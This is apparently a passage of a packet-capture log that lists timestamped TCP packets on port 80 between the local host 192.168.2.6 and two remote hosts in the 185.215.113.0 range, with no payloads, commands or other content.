Dec 18, 2024 12:00:18.828361034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.828422070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.829196930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.829211950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.829252958 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.829632998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.829725027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.829783916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.829833984 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.830410004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.830423117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.830468893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.831270933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.831341028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.831449986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.831667900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.831985950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.832007885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.832034111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.832070112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.832674026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.832741976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.832849026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.832904100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.833522081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.833535910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.833579063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.834393978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.834408045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.834453106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.834465981 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.835067987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.835079908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.835136890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.835741997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.835755110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.835803032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.836308002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.836370945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.836483955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.836709023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.837173939 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.837229967 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.837346077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.837400913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.837901115 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.837961912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.838083029 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.838136911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.838649988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.838711977 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.838833094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.838938951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.839420080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.839489937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.839579105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.839721918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.840301037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.840315104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.840365887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.841044903 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.841106892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.850776911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:18.882222891 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.882240057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.882302999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.882846117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.882863045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.882914066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.883430004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.883444071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.883488894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.883894920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.884021044 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.884083986 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.884694099 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.884753942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.884900093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.884958029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.885481119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.885540962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.885587931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.885646105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.886142015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.886209965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.886301041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.886358976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.886894941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.887027979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.887032032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.887079954 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.887650967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.887710094 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.887753963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.887806892 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.888411999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.888492107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.888523102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.888573885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.889238119 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.889295101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.889302969 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.889357090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.889950991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.890036106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.890073061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.890125036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.890667915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.890737057 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.890773058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.890826941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.891396046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.891452074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.891505957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.891571045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.892194033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.892277002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.892285109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.892337084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.892923117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.892985106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.893021107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.893104076 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.893706083 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.893753052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.893814087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.894443035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.894539118 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.894638062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.894730091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.895237923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.895311117 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.895334005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.895384073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.895966053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.896022081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.896128893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.896197081 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.959343910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.959417105 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.959521055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.959598064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.959852934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.959866047 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.959932089 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.960567951 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.960632086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.960850000 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.960916996 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.961400986 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.961460114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.961514950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.961581945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.962379932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.962466955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.962487936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.962534904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.963219881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.963346004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.963388920 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.963473082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.963953018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.964008093 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.964016914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.964071035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.964680910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.964776993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.964909077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.964998960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.965341091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.965420008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.965462923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.965524912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.966088057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.966157913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.966228962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.966289997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:18.966731071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:18.966789007 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.014888048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.014964104 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.015017033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.015094995 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.015263081 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.015324116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.015394926 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.015444994 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.016024113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.016073942 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.016143084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.016197920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.016834021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.016885042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.016932964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.017528057 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.017580032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.017653942 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.017704964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.018299103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.018356085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.018399954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.018450022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.019222021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.019350052 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.019383907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.019443035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.019877911 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.019932032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.019967079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.020014048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.020591021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.020680904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.020714998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.020757914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.021405935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.021500111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.021585941 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.021661043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.022116899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.022169113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.022191048 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.022213936 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.022840023 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.022893906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.022933006 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.023057938 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.023592949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.023644924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.023780107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.023822069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.024339914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.024405003 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.024502039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.024550915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.025098085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.025151014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.025249004 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.025314093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.025938034 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.026031971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.026109934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.026233912 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.027033091 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.027084112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.027157068 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.027209997 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.027651072 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.027689934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.027797937 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.028306961 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.028357983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.028367043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.028414965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.028853893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.028970957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.029015064 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.029650927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.029702902 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.029717922 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.029752016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.030388117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.030451059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.030453920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.030491114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.031151056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.031236887 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.031239033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.031342030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.031872988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.031928062 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.073307991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.073363066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.073391914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.073468924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.073615074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.073724985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.073729992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.073785067 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.074369907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.074435949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.074522972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.074637890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.075134993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.075201035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.075223923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.075279951 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.075936079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.076034069 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.076073885 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.076112032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.076632977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.076699018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.076785088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.076900959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.077660084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.077737093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.077756882 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.077816010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.078550100 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.078702927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.078746080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.078830957 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.079303980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.079360008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.079488039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.079540014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.079906940 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.079998970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.080034018 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.080068111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.080643892 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.080765963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.080784082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.080832005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.081309080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.081331015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.081361055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.081394911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.081981897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.082041979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.082228899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.082295895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.082691908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.082750082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.082770109 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.082818985 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.083410978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.083475113 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.083506107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.083600998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.167097092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167171001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.167371035 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167382956 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167442083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167454958 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167474031 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.167646885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.167679071 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167690992 CET	80	49938	185.215.113.16	192.168.2.6
